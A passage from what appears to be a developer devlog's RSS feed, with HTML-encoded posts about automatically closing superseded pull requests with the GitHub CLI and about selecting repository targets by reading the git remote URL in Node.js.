&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;supersede&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; main&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;fanout/brand-v0.8.0-main&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0.8.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;opening fanout/brand-v0.8.0-dev against dev&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  superseding #41&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  closed #41&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  superseding #57&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  closed #57&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;opening fanout/brand-v0.8.0-main against main&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  superseding #42&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  closed #42&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  superseding #58&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  closed #58&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Read that output for what is missing as much as for what is there. #60, the human’s branch, is never touched. The &lt;code&gt;dev&lt;/code&gt; pass leaves the &lt;code&gt;main&lt;/code&gt; pull requests alone, and the other way round, because base filtering happens before the prefix match. And the branch just opened is excluded by name, which is the check that keeps this function from closing its own pull request the moment you call it.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Forgetting to exclude the current branch closes the pull request you just opened.&lt;/strong&gt; The &lt;code&gt;select(.headRefName != &amp;quot;$branch&amp;quot;)&lt;/code&gt; clause is the entire safety of this function. Symptom: the fan-out reports success and the repository has no open pull request. Escape: the fixture test above, with the new branch present in the fixture.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Namespace your bot’s branches before you automate closing anything.&lt;/strong&gt; A prefix match is only safe when the prefix is yours alone. Symptom: a bot closing work someone was in the middle of. Escape: one reserved prefix, matched with &lt;code&gt;startswith&lt;/code&gt;, never a substring or a title match.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Closing without a comment reads as a malfunction.&lt;/strong&gt; Someone who was mid-review on that pull request gets a closed tab and no reason. Escape: &lt;code&gt;--comment&lt;/code&gt; with the actual reason, naming the release that superseded it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;--delete-branch&lt;/code&gt; and deterministic branch names interact.&lt;/strong&gt; If you close without deleting the remote branch and later regenerate the same branch name, &lt;code&gt;gh pr create&lt;/code&gt; fails because a pull request for that head already exists. Escape: delete on close, which is what &lt;code&gt;--delete-branch&lt;/code&gt; is for, and keep the version in the branch name so reuse is rare anyway.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Shipping a fix mid-rollout is how the pile got built.&lt;/strong&gt; The stacking here came from releasing again while consumers were still adopting the previous release. This fix was deliberately held back until every consumer was verified current with no open pull requests, which is the same discipline that would have prevented the problem. Symptom: each release adds pull requests faster than the consumers merge them. Escape: treat “every consumer is current” as a release precondition for a tool whose releases fan out.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://cli.github.com/manual/gh_pr_list&quot;&gt;gh pr list&lt;/a&gt; — &lt;code&gt;--state&lt;/code&gt;, &lt;code&gt;--base&lt;/code&gt;, &lt;code&gt;--json&lt;/code&gt; and &lt;code&gt;--jq&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cli.github.com/manual/gh_pr_close&quot;&gt;gh pr close&lt;/a&gt; — &lt;code&gt;--comment&lt;/code&gt; and &lt;code&gt;--delete-branch&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates&quot;&gt;Managing pull requests for dependency updates&lt;/a&gt; — Dependabot rebasing its open pull requests, and abandoning them after 30 days.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/code-security/reference/supply-chain-security/dependabot-options-reference&quot;&gt;Dependabot options reference&lt;/a&gt; — the open pull request limit and what it blocks.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;fix(press): propagate retires its own superseded PRs (0.7.2) (#137) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/9876899f08e7569342180504e70e99fed16ffcf3&quot;&gt;9876899&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/press/v0.7.2.png" length="40375" type="image/png"/></item><item><title>Every repository has a README, so every README target matched</title><link>https://natejswenson.com/devlog/press/v0.7.0/</link><guid isPermaLink="true">https://natejswenson.com/devlog/press/v0.7.0/</guid><description>A tool that writes generated blocks into other repositories has to decide which of its targets apply to the checkout it is standing in. File presence answers that badly the moment a target&apos;s path is a common filename, and the fix is to ask the checkout what repository it is.</description><pubDate>Fri, 31 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;0.7.0 added a generated version line to each consumer repository’s README, so that a reader landing on the repo can see which release of the shared brand it is on without opening a CI config. Adding those targets exposed a flaw in how targets were selected: selection was by file presence alone, and &lt;code&gt;README.md&lt;/code&gt; exists in every repository ever created. The new targets would have selected inside any checkout, including the generator’s own, and been compared against the wrong file.&lt;/p&gt;
&lt;p&gt;That is a small bug with a general shape. Any tool that owns files inside repositories it does not control needs an answer to “which of my targets apply here”, and the cheap answer works right up until a target’s path is not distinctive. This guide builds both versions and shows the difference in one command.&lt;/p&gt;
&lt;h2&gt;Setup: a registry of files you own elsewhere&lt;/h2&gt;
&lt;p&gt;The registry is a flat list. Each entry names the repository it belongs to, the path inside that repository, and (in a real tool) the emitter that produces the content:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;[&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  { &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;site-readme&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,   &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;repo&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;example.io&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;path&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;README.md&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  { &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;budget-readme&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;repo&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;budget&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,     &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;path&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;README.md&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  { &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;site-theme&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,    &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;repo&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;example.io&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;path&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;src/theme.css&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The tool runs inside one checkout at a time and needs the subset of entries that this checkout is responsible for. The obvious implementation asks the filesystem:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; targetPath&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (target, root) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  isAbsolute&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(target.path) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; target.path &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(root, target.path);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// v1: whatever is on disk is mine.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; selectByPresence&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (targets, root) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  targets.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((t) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; existsSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;targetPath&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(t, root)));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is fine while every path is distinctive: &lt;code&gt;src/theme.css&lt;/code&gt;, &lt;code&gt;astro.config.mjs&lt;/code&gt;, &lt;code&gt;pyproject.toml&lt;/code&gt;. It stops being fine the first time you add &lt;code&gt;README.md&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Ask the checkout what it is&lt;/h2&gt;
&lt;p&gt;A git checkout already knows its own name; it is in the remote URL. Read it with &lt;code&gt;git config --get remote.origin.url&lt;/code&gt; and reduce it to the repository name:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// select.mjs — which targets this checkout is responsible for.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { execFileSync } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:child_process&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { existsSync } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:fs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { isAbsolute, join } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:path&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; targetPath&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (target, root) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  isAbsolute&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(target.path) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; target.path &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; join&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(root, target.path);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * The repository a checkout actually is, read from its origin remote.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; *&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * Returns null when there is no remote (a temp dir, an unpacked tarball), in&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; * which case callers fall back to file presence.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt; */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; repoIdentity&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(root) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  try&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; url &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; execFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;      &apos;git&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;-C&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, root, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;config&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;--get&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;remote.origin.url&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      { encoding: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, stdio: [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;ignore&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;pipe&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;ignore&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;] },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    ).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;trim&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; m &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; /([^/:]+?)(?:\.git)?$/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;exec&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(url);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; m &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; m[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; selectTargets&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(targets, root) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; identity &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; repoIdentity&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(root);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; targets.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((t) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;existsSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;targetPath&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(t, root))) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    // When the checkout names itself, trust that over a path that happens to&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    // exist, otherwise every repo&apos;s README matches every README target.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (identity) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; identity &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; t.repo;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Three decisions in there are worth stating.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;execFileSync&lt;/code&gt;, not &lt;code&gt;exec&lt;/code&gt;. Node’s documentation is blunt about the difference: &lt;code&gt;execFile&lt;/code&gt; “does not spawn a shell by default”, while for &lt;code&gt;exec&lt;/code&gt; it warns “Never pass unsanitized user input to this function. Any input containing shell metacharacters may be used to trigger arbitrary command execution” (&lt;a href=&quot;https://nodejs.org/api/child_process.html&quot;&gt;child_process&lt;/a&gt;). &lt;code&gt;root&lt;/code&gt; here is a path from config, which is exactly the kind of value you do not want a shell to interpret.&lt;/p&gt;
&lt;p&gt;The regex handles both URL shapes GitHub documents, “An HTTPS URL like &lt;code&gt;https://github.com/user/repo.git&lt;/code&gt;” and “An SSH URL, like &lt;code&gt;git@github.com:user/repo.git&lt;/code&gt;” (&lt;a href=&quot;https://docs.github.com/en/get-started/git-basics/about-remote-repositories&quot;&gt;about remote repositories&lt;/a&gt;), by taking the last segment after either a slash or a colon and dropping an optional &lt;code&gt;.git&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;catch&lt;/code&gt; is required, not defensive padding. Git’s config documentation states that &lt;code&gt;git config --get&lt;/code&gt; “Returns error code 1 if the key is not present”, and &lt;code&gt;execFileSync&lt;/code&gt; turns a non-zero exit into a thrown error (&lt;a href=&quot;https://git-scm.com/docs/git-config&quot;&gt;git-config&lt;/a&gt;). A directory with no remote is a normal situation, not an exception.&lt;/p&gt;
&lt;h2&gt;Use it, then verify it&lt;/h2&gt;
&lt;p&gt;A driver that prints both answers, so the difference is visible rather than argued:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// run.mjs — print what presence would select, and what identity selects.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { readFileSync, existsSync } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:fs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
